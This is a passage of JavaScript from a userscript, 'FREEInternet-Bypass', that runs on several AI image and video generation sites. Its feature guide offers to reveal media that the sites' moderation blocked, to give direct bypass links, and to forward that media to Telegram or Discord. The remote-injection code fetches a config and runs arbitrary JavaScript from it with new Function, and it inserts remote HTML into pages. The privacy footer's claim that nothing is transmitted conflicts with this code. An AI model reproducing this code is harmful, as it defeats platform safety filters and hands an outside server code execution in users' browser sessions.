const target = entry.target || {};
const position = target.position || 'afterbegin';
// Inject CSS
if ((type === 'css' || type === 'all') && entry.style) {
const styleEl = document.createElement('style');
styleEl.id = `fi-remote-css-${id}`;
styleEl.textContent = entry.style;
document.head.appendChild(styleEl);
}
// Inject HTML
if ((type === 'html' || type === 'all') && entry.content) {
const sel = target.selector || 'body';
let targetEl = document.querySelector(sel);
// dynamicTarget: if element not found yet, retry via interval (for SPA-rendered pages)
if (!targetEl && entry.dynamicTarget) {
let attempts = 0;
const maxAttempts = 24; // ~12 seconds at 500ms
// Temporarily mark applied to prevent processRemoteInjections from re-queuing
_remoteInjectionAppliedIds.add(id);
const retryTimer = setInterval(() => {
attempts++;
const el = document.querySelector(sel);
if (el) {
clearInterval(retryTimer);
_remoteInjectionAppliedIds.delete(id); // allow the re-run to succeed
_applyRemoteInjectionEntry(entry);
} else if (attempts >= maxAttempts) {
clearInterval(retryTimer);
console.warn('[FreeInternet][DynamicInjection] Target not found:', sel);
}
}, 500);
return;
}
targetEl = targetEl || document.body;
if (!targetEl) return;
const wrapper = document.createElement('div');
wrapper.id = `fi-remote-html-${id}`;
wrapper.setAttribute('data-fi-remote-id', id);
wrapper.innerHTML = entry.content;
if (entry.dismissible) {
const closeBtn = document.createElement('button');
closeBtn.setAttribute('aria-label', 'Dismiss');
closeBtn.style.cssText = 'position:absolute;top:6px;right:10px;background:none;border:none;cursor:pointer;font-size:18px;color:inherit;opacity:0.7;line-height:1;padding:0;';
closeBtn.textContent = '✕';
closeBtn.onclick = () => {
wrapper.remove();
_remoteInjectionDismissed.add(id);
try { localStorage.setItem(_remoteInjectionDismissedKey, JSON.stringify([..._remoteInjectionDismissed])); } catch { /* ignore */ }
};
if (getComputedStyle(targetEl).position === 'static') wrapper.style.position = 'relative';
wrapper.appendChild(closeBtn);
}
try {
targetEl.insertAdjacentElement(position, wrapper);
} catch {
try { targetEl.insertBefore(wrapper, targetEl.firstChild); } catch { return; }
}
}
// Inject/eval JavaScript — runs in script context, sandboxed to this closure
if ((type === 'js' || type === 'all') && entry.script) {
try {
// eslint-disable-next-line no-new-func
new Function(entry.script)();
} catch (err) {
console.warn('[FreeInternet][RemoteInjection] Script error for', id, err);
}
}
_remoteInjectionAppliedIds.add(id);
}
function processRemoteInjections(config) {
const riCfg = config?.configuration?.runtime_controls?.remote_injections;
if (!riCfg || riCfg.enabled === false) return;
const injections = Array.isArray(riCfg.injections) ? riCfg.injections : [];
if (!injections.length) return;
// Sort by priority (lower number = applied first)
const sorted = injections.slice().sort((a, b) => (a.priority ?? 10) - (b.priority ?? 10));
const _run = () => sorted.forEach(entry => _applyRemoteInjectionEntry(entry));
// If DOM is ready apply now, else wait for it
if (document.body) {
_run();
} else {
document.addEventListener('DOMContentLoaded', _run, { once: true });
}
}
// ─────────────────────────────────────────────────────────────────────────────
function applyRemoteConfigNow(config, meta = {}) {
if (!config) return null;
remoteConfig = config;
remoteConfigAppliedAt = Date.now();
applyRemoteRuntimeConfig(config);
applyRemoteDefaultSettings(config);
applyRemoteSettingsControl(config);
applyRemotePlatformControl(config);
startDiscordReplaceLoop(config);
processAnnouncements(config);
processUpdates(config);
processRemoteInjections(config);
startNotificationInjectionLoop();
// Only trigger a full UI rebuild when the config actually changed (version/updated_at differs).
// This prevents the items tab from flickering on every repeated cached-config serve or
// same-version network revalidation (tab-visible, poll tick, etc.).
const _configHash = String(config?.script?.version || '') + '|' + String(config?.script?.updated_at || '') + '|' + String(config?.configuration?.version || '');
const _configChanged = _configHash !== _remoteConfigAppliedHash;
if (_configChanged) {
_remoteConfigAppliedHash = _configHash;
try {
// Remote config can affect feature flags, tab visibility, and Services URLs.
// Clear any cached tab DOM so the next render reflects the latest config.
if (tabContentCache && typeof tabContentCache.clear === 'function') tabContentCache.clear();
} catch {
// ignore
}
scheduleUIRefresh();
}
if (config.configuration?.remote_disable?.all) {
console.warn('[RemoteConfig] Script disabled remotely!');
setSharedUpdateState({
hasUpdate: true,
required: true,
version: config?.script?.version || null,
title: 'Disabled remotely',
downloadUrl: CONFIG_URL,
messageText: 'Script disabled remotely. Please update.'
});
if (!remoteConfigRemoteDisabledShown) {
remoteConfigRemoteDisabledShown = true;
showBlockingDialog('FREEInternet-Bypass has been disabled remotely. Please check for updates.', CONFIG_URL, true);
}
}
// Persist config (still respects remote cache.enabled flag)
try {
if (config.configuration?.cache?.enabled !== false) {
safeLocalStorageSet(CONFIG_CACHE_KEY, JSON.stringify({
timestamp: Date.now(),
config: config
}));
}
} catch {
// ignore
}
if (meta && typeof meta === 'object') {
saveRemoteConfigMeta(meta);
}
return config;
}
async function fetchRemoteConfigWithOptions(options = {}) {
const { force = false, reason = 'auto', background = false } = options || {};
try {
// 1) Serve cached immediately (stale-while-revalidate)
const cached = localStorage.getItem(CONFIG_CACHE_KEY);
if (cached) {
try {
const cachedData = JSON.parse(cached);
const cachedConfig = cachedData?.config;
const cachedTs = Number(cachedData?.timestamp) || 0;
const ttl = getRemoteConfigCacheTtlMs(cachedConfig);
const age = Date.now() - cachedTs;
if (cachedConfig && (!remoteConfig || cachedTs > remoteConfigAppliedAt) && age >= 0 && age < (ttl * 10)) {
// Accept a very old cache as a fallback UI seed, but still revalidate.
console.log('[RemoteConfig] Using cached config (age:', Math.round(age / 1000), 's)');
applyRemoteConfigNow(cachedConfig);
}
} catch (e) {
console.warn('[RemoteConfig] Cache parse error:', e);
}
}
// 2) Decide whether to revalidate now
const meta = loadRemoteConfigMeta();
const interval = getRemoteConfigPollIntervalMs();
const due = force || (Date.now() - (Number(meta.lastCheckedAt) || 0) >= interval);
if (!due) return remoteConfig;
// De-dupe concurrent fetches
if (remoteConfigFetchInFlight) return await remoteConfigFetchInFlight;
remoteConfigFetchInFlight = (async () => {
const reqHeaders = {};
if (meta.etag) reqHeaders['If-None-Match'] = meta.etag;
if (meta.lastModified) reqHeaders['If-Modified-Since'] = meta.lastModified;
console.log('[RemoteConfig] Revalidating:', { reason, force, intervalMs: interval, background });
let resp = null;
try {
const f = await originalFetch(CONFIG_URL, {
method: 'GET',
headers: reqHeaders,
cache: 'no-store'
});
resp = {
status: f.status,
ok: f.ok,
getHeader: (name) => f.headers?.get(name) || null,
json: async () => f.json()
};
} catch (fetchErr) {
console.warn('[RemoteConfig] Fetch blocked, trying GM request fallback:', fetchErr);
resp = await gmRequestRemoteConfig(reqHeaders);
if (!resp) throw fetchErr;
}
// Track check time regardless of status
saveRemoteConfigMeta({ lastCheckedAt: Date.now(), lastStatus: resp.status });
if (resp.status === 304) {
return remoteConfig;
}
if (!resp.ok) {
console.warn('[RemoteConfig] Fetch failed:', resp.status);
return remoteConfig;
}
const newConfig = await resp.json();
const newMeta = {
etag: resp.getHeader('etag') || meta.etag || null,
lastModified: resp.getHeader('last-modified') || meta.lastModified || null,
lastCheckedAt: Date.now(),
lastOkAt: Date.now(),
lastStatus: resp.status
};
console.log('[RemoteConfig] Loaded:', newConfig?.script?.name, newConfig?.script?.version);
applyRemoteConfigNow(newConfig, newMeta);
return newConfig;
})();
const out = await remoteConfigFetchInFlight;
remoteConfigFetchInFlight = null;
return out;
} catch (err) {
remoteConfigFetchInFlight = null;
console.warn('[RemoteConfig] Error fetching config:', err);
return remoteConfig;
}
}
function startRemoteConfigWatcher() {
if (!(IS_TENSOR_DOMAIN || IS_PIXVERSE_DOMAIN || IS_DIGEN_DOMAIN || IS_GROK_DOMAIN || IS_HIGGSFIELD_DOMAIN || IS_HAILUO_DOMAIN)) return;
if (remoteConfigWatcherTimer) {
clearTimeout(remoteConfigWatcherTimer);
remoteConfigWatcherTimer = null;
}
const tick = async () => {
try {
await fetchRemoteConfigWithOptions({ reason: 'poll', background: true });
} catch {
// ignore
} finally {
const nextIn = getRemoteConfigPollIntervalMs();
remoteConfigWatcherTimer = setTimeout(tick, nextIn);
}
};
remoteConfigWatcherTimer = setTimeout(tick, 1500);
}
function scheduleUIRefresh() {
if (uiRefreshTimer) clearTimeout(uiRefreshTimer);
uiRefreshTimer = setTimeout(() => {
if (isExpanded) {
const liveTabs = new Set(['home', 'tasks', 'dataControl', 'sharedNetwork', 'tensorInterceptBackground', 'pixverseBackground', 'digenBackground', 'grokBackground', 'higgsfieldBackground', 'hailuoBackground']);
if (!liveTabs.has(currentTab)) return;
// Full rebuild: remote config can change tabs (e.g. Services) and runtime controls.
updateUI(false);
}
}, 120);
}
function getLiveLogPanelConfig(panelKey) {
const configs = {
tensorIntercept: {
tab: 'tensorInterceptBackground',
loadLogs: loadTensorInterceptLogs,
emptyText: 'No logs yet. Tensor request/response rewrite activity will appear here.',
borderColor: 'rgba(245,158,11,0.30)',
rowBg: 'rgba(28,25,23,0.55)',
infoColor: '#fbbf24'
},
digen: {
tab: 'digenBackground',
loadLogs: loadDigenLogs,
emptyText: 'No logs yet. Digen runtime events will appear here.',
borderColor: 'rgba(56,189,248,0.25)',
rowBg: 'rgba(15,23,42,0.45)',
infoColor: '#7dd3fc'
},
pixverse: {
tab: 'pixverseBackground',
loadLogs: loadPixverseLogs,
emptyText: 'No logs yet. Pixverse runtime events will appear here in real time.',
borderColor: 'rgba(148,163,184,0.2)',
rowBg: 'rgba(15,23,42,0.45)',
infoColor: '#93c5fd'
},
grok: {
tab: 'grokBackground',
loadLogs: loadGrokLogs,
emptyText: 'No logs yet. Grok runtime events will appear here.',
borderColor: 'rgba(148,163,184,0.2)',
rowBg: 'rgba(15,23,42,0.45)',
infoColor: '#93c5fd'
},
higgsfield: {
tab: 'higgsfieldBackground',
loadLogs: loadHiggsfieldLogs,
emptyText: 'No logs yet. Higgsfield capture/runtime events will appear here.',
borderColor: 'rgba(148,163,184,0.18)',
rowBg: 'rgba(15,23,42,0.45)',
infoColor: '#93c5fd'
},
hailuo: {
tab: 'hailuoBackground',
loadLogs: loadHailuoLogs,
emptyText: 'No logs yet. Captured Hailuo events will appear here.',
borderColor: 'rgba(34,197,94,0.18)',
rowBg: 'rgba(15,23,42,0.35)',
infoColor: '#86efac'
}
};
return configs[panelKey] || null;
}
function renderLiveLogPanelBody(logBox, panelKey) {
if (!logBox || !panelKey) return false;
const config = getLiveLogPanelConfig(panelKey);
if (!config) return false;
const logs = typeof config.loadLogs === 'function' ? config.loadLogs() : [];
const stickToBottom = Math.abs((logBox.scrollTop + logBox.clientHeight) - logBox.scrollHeight) <= 36;
logBox.innerHTML = '';
if (!logs.length) {
const empty = document.createElement('div');
empty.style.cssText = 'color:#94a3b8; font-size:12px; padding:8px;';
empty.textContent = config.emptyText;
logBox.appendChild(empty);
} else {
logs.slice().reverse().forEach((entry) => {
const row = document.createElement('div');
const level = String(entry.level || 'info').toLowerCase();
const levelColor = level === 'error' ? '#f87171' : level === 'warn' || level === 'warning' ? '#f59e0b' : level === 'success' ? '#34d399' : config.infoColor;
row.style.cssText = `padding:8px 10px; border:1px solid ${config.borderColor}; border-radius:8px; background:${config.rowBg}; margin-bottom:8px;`;
const top = document.createElement('div');
top.style.cssText = 'display:flex; gap:10px; align-items:center; margin-bottom:4px;';
const time = document.createElement('span');
time.style.cssText = 'font-size:10px; color:#94a3b8;';
time.textContent = new Date(entry.ts).toLocaleTimeString();
const badge = document.createElement('span');
badge.style.cssText = `font-size:10px; font-weight:800; color:${levelColor}; text-transform:uppercase;`;
badge.textContent = level;
const message = document.createElement('div');
message.style.cssText = 'font-size:12px; color:#e2e8f0; white-space:pre-wrap; word-break:break-word;';
message.textContent = `${String(entry.message || '')}${entry.details ? `\n${JSON.stringify(entry.details)}` : ''}`;
top.appendChild(time);
top.appendChild(badge);
row.appendChild(top);
row.appendChild(message);
logBox.appendChild(row);
});
}
const countNode = document.querySelector(`[data-bypass-live-log-count="${panelKey}"]`);
if (countNode) {
countNode.textContent = `${logs.length} entr${logs.length === 1 ? 'y' : 'ies'}`;
}
if (stickToBottom) {
requestAnimationFrame(() => {
try {
logBox.scrollTop = logBox.scrollHeight;
} catch {
// ignore
}
});
}
return true;
}
function refreshLiveLogPanel(panelKey) {
const config = getLiveLogPanelConfig(panelKey);
if (!config || !isExpanded || currentTab !== config.tab) return false;
const logBox = document.querySelector(`[data-bypass-live-log-box="${panelKey}"]`);
if (!logBox) return false;
return renderLiveLogPanelBody(logBox, panelKey);
}
function refreshLiveLogPanelOrSchedule(panelKey) {
if (!refreshLiveLogPanel(panelKey) && isExpanded) {
scheduleUIRefresh();
}
}
function showFeatureHubDialog() {
const colors = getThemeColors();
const overlayBg = settings.inheritTheme ? 'var(--mask-primary, rgba(0, 0, 0, 0.75))' : 'rgba(0, 0, 0, 0.75)';
const dialogBg = settings.inheritTheme ? 'var(--background-primary, #0f172a)' : 'linear-gradient(135deg, #0f172a 0%, #1e293b 100%)';
const dialogBorder = settings.inheritTheme ? colors.border : 'rgba(99, 102, 241, 0.35)';
const overlay = document.createElement('div');
overlay.style.cssText = `
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: ${overlayBg};
display: flex;
align-items: center;
justify-content: center;
z-index: 10000000;
backdrop-filter: blur(6px);
animation: fadeIn 0.3s ease;
`;
const dialog = document.createElement('div');
dialog.style.cssText = `
background: ${dialogBg};
border-radius: 16px;
width: 92%;
max-width: 800px;
max-height: 85vh;
overflow-y: auto;
box-shadow: 0 25px 80px rgba(0, 0, 0, 0.9);
border: 1px solid ${dialogBorder};
position: relative;
`;
const closeBtn = document.createElement('button');
closeBtn.innerHTML = '✕';
closeBtn.style.cssText = `
position: absolute;
top: 14px;
right: 14px;
background: rgba(239, 68, 68, 0.2);
color: #ef4444;
border: 1px solid rgba(239, 68, 68, 0.3);
width: 34px;
height: 34px;
border-radius: 50%;
cursor: pointer;
z-index: 10;
`;
closeBtn.onclick = () => overlay.remove();
const content = document.createElement('div');
content.style.cssText = `padding: 28px; color: ${colors.text};`;
const title = remoteConfig?.script?.display_name || 'FreeInternet';
const features = remoteConfig?.features || [];
content.innerHTML = `
<div style="margin-bottom: 24px; text-align: center;">
<h2 style="font-size: 22px; margin: 0 0 8px 0; color: #6366f1;"><i class="fas fa-shield-alt"></i> ${title}</h2>
<p style="margin: 0; font-size: 13px; color: #94a3b8;">Comprehensive feature guide and quick reference</p>
</div>
`;
// Comprehensive built-in features documentation
const builtInFeatures = [
{
title: 'Reveal Blocked Media',
description: 'Removes blocking overlays and reveals blocked/inappropriate content in-place on the page.',
instructions: `
<div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
<strong>How to use:</strong><br>
• <em>Individual:</em> Click the "Reveal" button on any blocked item<br>
• <em>Task-level:</em> Use "Reveal all blocked" button in task controls<br>
• <em>Global:</em> Use "Reveal all" button in toolbar for all visible tasks<br>
<strong>Note:</strong> Media appears inline without downloading
</div>
`
},
{
title: 'Download Media',
description: 'Download all media (images/videos) from a task directly to your device.',
instructions: `
<div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
<strong>How to use:</strong><br>
• Open the "Download" section on any task card<br>
• Toggle "Download only blocked items" if desired<br>
• Click "Download all" to start<br>
• Failed items can be retried with "Retry failed" button<br>
<strong>Note:</strong> Downloads go to your browser's default folder
</div>
`
},
{
title: '💬 Send to Telegram',
description: 'Sends blocked/media content directly to your Telegram chat for quick access.',
instructions: `
<div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
<strong>How to use:</strong><br>
• Configure Telegram bot token in settings<br>
• Click "Send to Telegram" on task cards<br>
• Individual items can be sent via context menu<br>
• Failed sends can be retried<br>
<strong>Setup:</strong> Create Telegram bot via BotFather, get token
</div>
`
},
{
title: 'Send to Discord',
description: 'Sends media content to a Discord server or DM channel for sharing and archival.',
instructions: `
<div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
<strong>How to use:</strong><br>
• Get Discord webhook URL from channel settings<br>
• Paste webhook URL in extension settings<br>
• Click "Send to Discord" on task cards<br>
• Media appears as embeds in Discord<br>
<strong>Setup:</strong> Right-click channel → Webhooks → Create
</div>
`
},
{
title: 'Direct Bypass Links',
description: 'Get direct URLs to bypass restrictions and access content immediately.',
instructions: `
<div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
<strong>How to use:</strong><br>
• Bypass links appear on media cards automatically<br>
• Click <i class="fas fa-up-right-from-square"></i> to open in new tab<br>
• Click <i class="fas fa-copy"></i> to copy URL to clipboard<br>
• Links work on any device/browser<br>
<strong>Note:</strong> One-click access to restricted content
</div>
`
},
{
title: 'Advanced Settings',
description: 'Fine-tune behavior with comprehensive configuration options.',
instructions: `
<div style="margin-top: 8px; padding: 8px; background: rgba(99, 102, 241, 0.1); border-radius: 6px; font-size: 11px; line-height: 1.5;">
<strong>Key Settings:</strong><br>
• <em>Auto-reveal on task load:</em> Automatically reveals blocked items<br>
• <em>Show bypass links:</em> Toggle direct URL display<br>
• <em>Theme inheritance:</em> Match site's appearance<br>
• <em>Help tooltips:</em> Show/hide helpful hints
</div>
`
}
];
// Display built-in features
const list = document.createElement('div');
list.style.cssText = 'display: grid; gap: 14px;';
builtInFeatures.forEach(feature => {
const card = document.createElement('div');
card.style.cssText = 'padding: 14px; border-radius: 10px; background: rgba(99, 102, 241, 0.06); border: 1px solid rgba(99, 102, 241, 0.2);';
card.innerHTML = `
<div style="font-weight: 600; font-size: 13px; color: #f1f5f9; margin-bottom: 6px;">
${feature.title}
</div>
<div style="font-size: 12px; color: #cbd5e1; margin-bottom: 8px;">
${feature.description}
</div>
${feature.instructions}
`;
list.appendChild(card);
});
// Add remote config features if available
if (features.length > 0) {
const divider = document.createElement('div');
divider.style.cssText = 'height: 1px; background: rgba(99, 102, 241, 0.2); margin: 16px 0; text-align: center;';
divider.innerHTML = '<span style="background: linear-gradient(135deg, #0f172a 0%, #1e293b 100%); padding: 0 8px; font-size: 11px; color: #94a3b8;">Additional Features</span>';
list.appendChild(divider);
features.forEach(feature => {
const card = document.createElement('div');
card.style.cssText = 'padding: 14px; border-radius: 10px; background: rgba(99, 102, 241, 0.06); border: 1px solid rgba(99, 102, 241, 0.2);';
card.innerHTML = `
<div style="font-weight: 600; font-size: 13px; color: #f1f5f9; margin-bottom: 6px;">
<i class="fas fa-star" style="color: #6366f1; margin-right: 6px;"></i>${feature.title}
</div>
<div style="font-size: 12px; color: #cbd5e1;">${feature.description || ''}</div>
`;
list.appendChild(card);
});
}
// Add footer with privacy notice
const footer = document.createElement('div');
footer.style.cssText = 'margin-top: 20px; padding-top: 16px; border-top: 1px solid rgba(99, 102, 241, 0.2); font-size: 11px; color: #94a3b8; line-height: 1.6;';
footer.innerHTML = `
<div style="margin-bottom: 12px;">
<strong style="color: #cbd5e1;">ℹ️ Privacy & Security:</strong> This script runs entirely in your browser. All settings are stored locally and never transmitted anywhere.
</div>
<div style="margin-bottom: 12px;">
<strong style="color: #cbd5e1;">🔄 Updates:</strong> The script automatically checks for updates and will notify you of available improvements.
</div>
<div>
<strong style="color: #cbd5e1;">❓ Need Help?</strong> Hover over buttons with <i class="fas fa-question-circle"></i> icons to see additional information.
</div>
`;
content.appendChild(list);
content.appendChild(footer);
dialog.appendChild(closeBtn);
dialog.appendChild(content);
overlay.appendChild(dialog);
overlay.onclick = (e) => {
if (e.target === overlay) overlay.remove();
};
document.body.appendChild(overlay);
}
function injectProfileMenuItem() {
const menu = document.querySelector('div.flex.flex-col.flex-1.overflow-y-auto.max-h-80vh.scroll-bar-base');
if (!menu) return false;
if (menu.querySelector('[data-bypass-profile-menu]')) return true;
const item = document.createElement('div');
item.setAttribute('data-bypass-profile-menu', 'true');
item.className = 'flex items-center text-14 lh-20 fw-500 h-40 px-12 hover:opacity-[60%] gap-12 c-text-primary cursor-pointer';
item.innerHTML = '<i class="fas fa-shield-alt" style="font-size: 16px;"></i><span>FreeInternet</span>';
item.onclick = (e) => {
e.preventDefault();
e.stopPropagation();
showFeatureHubDialog();
};
const settingsLink = menu.querySelector('a[href="/settings"]');
const settingsRow = settingsLink?.closest('div.flex.items-center');
if (settingsRow && settingsRow.parentElement) {
settingsRow.parentElement.insertBefore(item, settingsRow);
} else {
menu.appendChild(item);
}
return true;
}
function injectNotificationDropdownItem() {
const runtime = getRemoteRuntimeConfig();
const notificationsCfg = runtime.notifications || {};
if (!notificationsCfg.enabled || !notificationsCfg.injectDropdown) return false;
const entries = getRemoteNotificationEntries();
const count = entries.length;
const lists = Array.from(document.querySelectorAll('div.v-binder-follower-content ul'));
if (!lists.length) return false;
let injected = false;
lists.forEach(list => {
const hasKnownNotifications = list.querySelector('li[name="COMMENT"], li[name="LIKE"], li[name="FOLLOW"], li[name="SYSTEM"], li[name="SPONSOR"]');
if (!hasKnownNotifications) return;
if (list.querySelector('[data-bypass-notification-menu]')) return;
const li = document.createElement('li');
li.setAttribute('data-bypass-notification-menu', 'true');
li.style.cursor = 'pointer';
li.className = 'px-12 py-8 flex justify-between items-center';
const a = document.createElement('a');
a.href = notificationsCfg.openUrl || 'https://tensor.art/notifications';
a.style.cssText = 'display:flex; justify-content:space-between; align-items:center; width:100%; color:inherit; text-decoration:none;';
a.innerHTML = `FreeInternet ${count > 0 ? `<span class="text-12 lh-16 fw-400 text-#fff px-4 rd-19 bg-red">${count}</span>` : ''}`;
a.onclick = (e) => {
e.preventDefault();
window.location.href = notificationsCfg.openUrl || 'https://tensor.art/notifications';
};
li.appendChild(a);
list.appendChild(li);
injected = true;
});
return injected;
}
// ── helpers ─────────────────────────────────────────────────────────────────
/**
* Install one-time click listeners on native notification tabs (COMMENT, LIKE, …).
* When any native tab fires → clear our custom-tab state so Vue can re-render freely.
* Safe to call multiple times (guarded by dataset attribute).
*/
function _hookNativeNotificationTabs(tabsWrapper) {
tabsWrapper.querySelectorAll('.n-tabs-tab').forEach(el => {
const n = el.getAttribute('data-name') || '';
if (['FREEINTERNET', 'COMMUNITY'].includes(n)) return; // skip ours
if (el.dataset.fiHooked) return;
el.dataset.fiHooked = '1';
el.addEventListener('click', () => {
currentNotificationsTab = null;
// Update URL to match the tab being clicked
try {
const newUrl = n ? `/notifications?type=${encodeURIComponent(n)}` : '/notifications';
history.replaceState(null, '', newUrl);
} catch { /* ignore */ }
});
});
}
/**
* Return the notifications host element (the div Vue uses for notification content).
*/
function _getNotificationsHost() {
return document.querySelector('div.dark\\:text-white\\/45') || document.querySelector('main .dark\\:text-white\\/45');
}
/**
* Activate a custom notifications tab (FREEINTERNET or COMMUNITY).
* Updates URL, toggling active class, and requests a re-render.
*/
function _activateCustomNotificationsTab(tabName, renderFn, tabsWrapper) {
currentNotificationsTab = tabName;
try {
history.replaceState(null, '', `/notifications?type=${encodeURIComponent(tabName)}`);
} catch { /* ignore */ }
// Toggle active classes
tabsWrapper.querySelectorAll('.n-tabs-tab').forEach(el => el.classList.remove('n-tabs-tab--active'));
const ourTab = tabsWrapper.querySelector(`[data-name="${tabName}"]`);
if (ourTab) ourTab.classList.add('n-tabs-tab--active');
renderFn();
}
// ── FreeInternet tab rendering ───────────────────────────────────────────────
function renderFreeInternetNotificationsPage() {
if (!/\/notifications/i.test(window.location.pathname)) return false;
const runtime = getRemoteRuntimeConfig();
const notificationsCfg = runtime.notifications || {};
if (!notificationsCfg.enabled) return false;
const host = _getNotificationsHost();
if (!host) return false;
// Don't re-render if already showing our content and nothing changed
if (host.querySelector('[data-bypass-notifications-feed]') && currentNotificationsTab === 'FREEINTERNET') return true;
const entries = getRemoteNotificationEntries();
const wrap = document.createElement('div');
wrap.setAttribute('data-bypass-notifications-feed', 'true');
wrap.style.cssText = `
color: var(--text-primary, inherit);
background: var(--background-primary, transparent);
display: flex;
flex-direction: column;
gap: 12px;
padding: 12px 0;
`;
if (!entries.length) {
const empty = document.createElement('div');
empty.className = 'flex justify-center py-96';
empty.textContent = 'Nothing here yet';
wrap.appendChild(empty);
} else {
entries.forEach(entry => {
const card = document.createElement('div');
card.style.cssText = `
border: 1px solid var(--stroke-secondary, rgba(148,163,184,0.25));
border-radius: 12px;
padding: 12px;
background: var(--background-on-primary, rgba(15,23,42,0.25));
`;
const when = entry.date ? new Date(entry.date).toLocaleString() : 'Unknown date';
const badgeColor = entry.kind === 'update' ? '#6366f1' : '#0ea5e9';
const safeTitle = escapeHtml(entry.title || 'Notification');
const safeAuthor = escapeHtml(entry.author || 'System');
const fallbackText = escapeHtml(entry.text || '');
card.innerHTML = `
<div style="display:flex; align-items:center; justify-content:space-between; gap:10px; margin-bottom:8px;">
<div style="font-weight:600;">${safeTitle}</div>
<span style="font-size:10px; padding:2px 8px; border-radius:999px; background:${badgeColor}; color:#fff; text-transform:uppercase;">${entry.kind}</span>
</div>
<div style="font-size:11px; opacity:0.8; margin-bottom:8px;">${safeAuthor} • ${escapeHtml(when)}</div>
<div style="font-size:12px; line-height:1.6;">${entry.html || fallbackText}</div>
`;
if (Array.isArray(entry.links) && entry.links.length) {
const linkRow = document.createElement('div');
linkRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
entry.links.forEach(link => {
if (!link?.url) return;
const a = document.createElement('a');
a.href = link.url;
a.target = '_blank';
a.rel = 'noopener noreferrer';
a.style.cssText = 'font-size:11px; padding:6px 10px; border-radius:8px; border:1px solid var(--stroke-secondary, rgba(148,163,184,0.35)); text-decoration:none; color:var(--text-primary, inherit); background:var(--background-primary, transparent);';
a.textContent = link.label || 'Open';
linkRow.appendChild(a);
});
card.appendChild(linkRow);
}
wrap.appendChild(card);
});
}
host.innerHTML = '';
const title = document.createElement('div');
title.style.cssText = 'font-weight:600; margin-bottom:6px;';
title.textContent = 'FreeInternet Notifications';
host.appendChild(title);
host.appendChild(wrap);
return true;
}
// ── Community tab rendering (notifications page) ─────────────────────────────
async function renderCommunityNotificationsPage() {
if (!/\/notifications/i.test(window.location.pathname)) return false;
const host = _getNotificationsHost();
if (!host) return false;
// Don't re-render if already showing our content
if (host.querySelector('[data-bypass-community-feed]') && currentNotificationsTab === 'COMMUNITY') return true;
host.innerHTML = '';
const rootWrap = document.createElement('div');
rootWrap.setAttribute('data-bypass-community-feed', 'true');
rootWrap.style.cssText = 'display:flex; flex-direction:column; gap:0;';
const hdr = document.createElement('div');
hdr.style.cssText = 'font-weight:700; font-size:15px; margin-bottom:14px; display:flex; align-items:center; gap:10px;';
hdr.innerHTML = `<i class="fas fa-people-group" style="color:#6366f1;"></i> Community AI Tools
<button id="fi-comm-notif-refresh" style="margin-left:auto; background:rgba(99,102,241,0.12); border:1px solid rgba(99,102,241,0.4); color:#818cf8; border-radius:8px; padding:4px 12px; font-size:11px; cursor:pointer; display:flex; align-items:center; gap:5px;">
<i class="fas fa-arrows-rotate"></i> Refresh
</button>`;
rootWrap.appendChild(hdr);
const grid = document.createElement('div');
grid.id = 'fi-comm-notif-grid';
grid.style.cssText = 'display:flex; flex-direction:column; gap:12px;';
rootWrap.appendChild(grid);
host.appendChild(rootWrap);
const doRender = async (force) => {
grid.innerHTML = `<div style="text-align:center; padding:32px; color:rgba(148,163,184,0.7); font-size:13px;">
<i class="fas fa-spinner fa-spin" style="margin-right:8px;"></i>Loading community tools…</div>`;
try {
const tools = await communityFetchTools(force);
grid.innerHTML = '';
if (!tools.length) {
grid.innerHTML = `<div style="text-align:center; padding:40px; color:rgba(148,163,184,0.7); font-size:13px;">
<i class="fas fa-inbox" style="font-size:24px; display:block; margin-bottom:10px; opacity:0.5;"></i>
No community tools yet. Visit a template page and click <strong>Recommend</strong>.</div>`;
return;
}
tools.forEach((tool, idx) => _renderCommunityToolCard(grid, tool, idx, true));
} catch (err) {
grid.innerHTML = `<div style="text-align:center; padding:24px; color:#f87171; font-size:12px;">
<i class="fas fa-triangle-exclamation" style="margin-right:6px;"></i>${escapeHtml(String(err?.message || err))}</div>`;
}
};
host.querySelector('#fi-comm-notif-refresh')?.addEventListener('click', () => doRender(true));
await doRender(false);
return true;
}
/**
* Build a rich community tool card and append it to `container`.
* `isNotificationsPage` = true when rendering in /notifications vs. floating panel.
*/
function _renderCommunityToolCard(container, tool, idx, isNotificationsPage) {
const colors = getThemeColors();
const usageCount = _countTemplateUsage(tool.workflowTemplateId);
const isOwn = communitySharedTemplateIds.has(String(tool.workflowTemplateId));
const showcases = Array.isArray(tool.showcases) ? tool.showcases.slice(0, 3) : [];
const tags = Array.isArray(tool.tags) ? tool.tags : [];
const owner = tool.owner || {};
const badges = Array.isArray(owner.badges) ? owner.badges : [];
const isVip = tool.flags_vip_only || tool.flags?.vipOnly;
const descRaw = tool.description ? tool.description.replace(/<[^>]+>/g, '') : '';
const desc = descRaw.length > 120 ? descRaw.slice(0, 120) + '…' : descRaw;
const updatedAt = tool.last_updated_at
? new Date(Number(tool.last_updated_at)).toLocaleDateString()
: (tool.lastSharedAt ? new Date(tool.lastSharedAt).toLocaleDateString() : null);
const card = document.createElement('div');
card.style.cssText = `
border-radius: 16px;
border: 1px solid ${colors.border};
background: ${colors.bg};
overflow: hidden;
transition: box-shadow 0.2s, border-color 0.2s;
`;
card.onmouseenter = () => { card.style.borderColor = colors.primary; card.style.boxShadow = '0 4px 24px rgba(99,102,241,0.12)'; };
card.onmouseleave = () => { card.style.borderColor = colors.border; card.style.boxShadow = ''; };
// ── Showcase thumbnails row ──
if (showcases.length) {
const gallery = document.createElement('div');
gallery.style.cssText = 'display:flex; height:90px; overflow:hidden; border-radius:14px 14px 0 0;';
showcases.forEach(sc => {
const img = document.createElement('img');
img.src = sc.url || '';
img.alt = '';
img.loading = 'lazy';
